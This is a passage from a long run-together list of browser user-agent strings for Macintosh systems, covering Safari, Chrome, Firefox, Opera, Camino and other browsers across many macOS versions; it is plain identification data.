Chrome/16.0.950.0 Safari/535.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.1 (KHTML, like Gecko) Iron/14.0.850.0 Chrome/14.0.850.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/535.19 (KHTML, like Gecko) Iron/18.0.1050.0 Chrome/18.0.1050.0 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML like Gecko) Version/6.0.2 Safari/536.26.17 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/536.15 (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.63 Safari/537.31 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.1 (KHTML like Gecko) Version/7.0.6 Safari/537.78.1 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; nb) Opera 9.02 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; nb; rv:1.7.5) Gecko/20041110 Mozilla/5.0 (Macintosh; N; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 Mozilla/5.0 (Macintosh; N; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 Mozilla/5.0 (Macintosh; PPC Mac OS X 10.4; rv:10.0.2) Gecko/20120217 Firefox/10.0.2 TenFourFox/G3 Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:10.0.2) Gecko/20120216 Firefox/10.0.2 TenFourFox/7450 Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:15.0) Gecko/20120910 SeaMonkey/2.12.1 Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:16.0) Gecko/20121009 Firefox/16.0 SeaMonkey/2.13 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.15+ (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.17+ (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.25+ (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/537.1+ (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/537.3+ (KHTML, like Gecko) iCab/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00 Mozilla/5.0 (Macintosh; PPC MacOS X; rv:5.0) Gecko/20110615 Firefox/5.0 Mozilla/5.0 (Macintosh; U; 68K Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel 80486Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112916 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; da; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.2) Gecko/2008091618 Firefox/3.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1)Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.19) Gecko/2010062819 Firefox/3.0.19 Flock/2.6.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/2008111323 Firefox/3.0.4 Flock/2.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.5) Gecko/2008121716 Firefox/3.0.5 Flock/2.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.6) Gecko/2009022316 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.3 GTB6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090223 SeaMonkey/2.0a3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; es-ES; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; it; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; sv-SE; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; sv-SE; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5.7; it; rv:1.9) Gecko/20080920 Firefox/3.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5.7; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de-DE; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 FirePHP/0.2.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9b5) Gecko/20071127 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 FirePHP/0.2.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008071620 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.21 Gecko/2008091618 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008100716 Firefox/3.0.3 Flock/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3pre) Gecko/2008090704 GranParadiso/3.0.3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.4) Gecko/2008111323 Firefox/3.0.4 Flock/2.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 FirePHP/0.2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 FirePHP/0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1a2pre) Gecko/20080826052737 Minefield/3.1a2pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b1pre) Gecko/20080908170408 Minefield/3.1b1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081202 SeaMonkey/2.0a2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081217 Shiretoko/3.1b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090227 Shiretoko/3.1b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090217 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090222 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090224 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090225 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090302 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090315 Minefield/3.2a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090324 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090403 Minefield/3.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090408 Minefield/3.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090626 Fennec/1.0b2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090722 Minefield/3.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9b4pre) Gecko/2008022104 Minefield/3.0b4pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-au; rv:1.9.0.1) Gecko/2008070206 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en; rv:1.9.0.10pre) Gecko/2009041800 Camino/2.0b3pre (like Firefox/3.0.10pre) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en; rv:1.9.0.8pre) Gecko/2009022800 Camino/2.0b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fi; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fi; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 FirePHP/0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; hu; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FBSMTWB Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nb-NO; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.1) Gecko/20090612 Firefox/3.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pt-BR; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pt-PT; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.2) Gecko/2008090512 Firefox/3.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6.0; en-US; rv:1.9.0.7) Gecko/2009030517 Minefield/3.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6.1; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; 